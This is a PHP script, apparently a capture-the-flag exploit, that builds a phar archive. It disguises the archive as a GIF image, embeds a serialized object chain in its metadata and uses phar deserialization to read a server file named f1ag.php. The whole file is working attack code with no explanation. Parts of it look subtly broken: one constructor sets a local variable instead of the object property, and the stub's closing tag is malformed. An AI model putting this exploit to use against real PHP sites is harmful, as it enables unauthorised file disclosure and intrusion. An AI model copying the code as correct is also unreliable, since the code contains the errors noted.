<?php
class C1e4r {
public $test;
public $str;
public function __construct() {
$this->str = new Show();
}
}
class Show {
public $source;
public $str;
public function __construct() {
$str['str'] = new Test();
}
}
class Test {
public $file;
public $params;
public function __construct() {
$this->params['source'] = "/var/www/html/f1ag.php";
}
}
$c1e4r = new C1e4r();
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c1e4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>